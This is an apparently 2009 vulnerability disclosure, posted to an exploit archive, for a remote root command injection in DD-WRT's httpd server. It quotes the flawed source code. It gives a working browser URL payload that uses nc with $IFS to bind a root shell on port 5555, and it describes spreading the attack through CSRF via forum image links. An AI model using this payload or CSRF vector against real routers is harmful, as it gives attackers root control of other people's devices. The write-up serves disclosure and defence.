Remote root vulnerability in DD-WRT's httpd server

This is a remote root vulnerability in DD-WRT's httpd server. The bug exists at the latest 24 sp1 version of the firmware.

The problem is due to many bugs and bad software design decisions. Here is part of httpd.c:

859 if (containsstring(file, "cgi-bin")) {
860
861 auth_fail = 0;
862 if (!do_auth
863 (conn_fp, auth_userid, auth_passwd, auth_realm,
864 authorization, auth_check))
865 auth_fail = 1;


......... (snip)............

899
900 }
901 exec = fopen("/tmp/exec.tmp", "wb");
902 fprintf(exec, "export REQUEST_METHOD=\"%s\"\n", method);
903 if (query)
904 fprintf(exec, "/bin/sh %s/%s/tmp/shellout.asp");

........... (snip)..........

926 if (auth_fail == 1) {
927 send_authenticate(auth_realm);
928 auth_fail = 0;

------------

3) issue 3: httpd runs as root :)



Now let's sum up (1), (2) and (3). Any unauthenticated attacker that can connect to the management web interface can get easily root on the device via his browser with an URL like:

http://routerIP/cgi-bin/;command_to_execute

There is a catch though: whitespaces break it. Anyway, they can be easily replaced with shell variable like $IFS. So, getting root shell at 5555/tcp becomes as easy as typing this in your browser's url bar:

http://routerIP/cgi-bin/;nc$IFS-l$IFS-p$IFS\5555$IFS-e$IFS/bin/sh


Voila (pretty old-school, eheh). Here is some (poor) video demonstrating the problem:
http://www.youtube.com/watch?v=UhDcXCVFrvM


Fortunately, httpd by default does not listen on the outbound interface. However, this vulnerability can be exploited via a CSRF attack (the dd-wrt device's owner does not even need to have an authenticated session on the web UI which is bad, bad). However, a base authentication dialog will appear. In IE even this can be supressed, see this one:

http://ha.ckers.org/blog/20090630/csrf-and-ignoring-basicdigest-auth/

Unlike the already documented CSRF vulnerability ( http://www.securityfocus.com/bid/32703 ) this DOES NOT need an authenticated
session. This means someone can even post some crafted [img] link on a forum and a dd-wrt router owner visiting the forum will get owned :)


A weird vulnerability you're unlikely to see in 2009 :) Quite embarrassing I would say :)


Thanks krassyo at krassyo.info for his support :)


Leka vecher :)

# milw0rm.com [2009-07-20]

The bug can be used for execution of an exploit to gain control over the router running dd-wrt. Details here.

- wong chee tat :)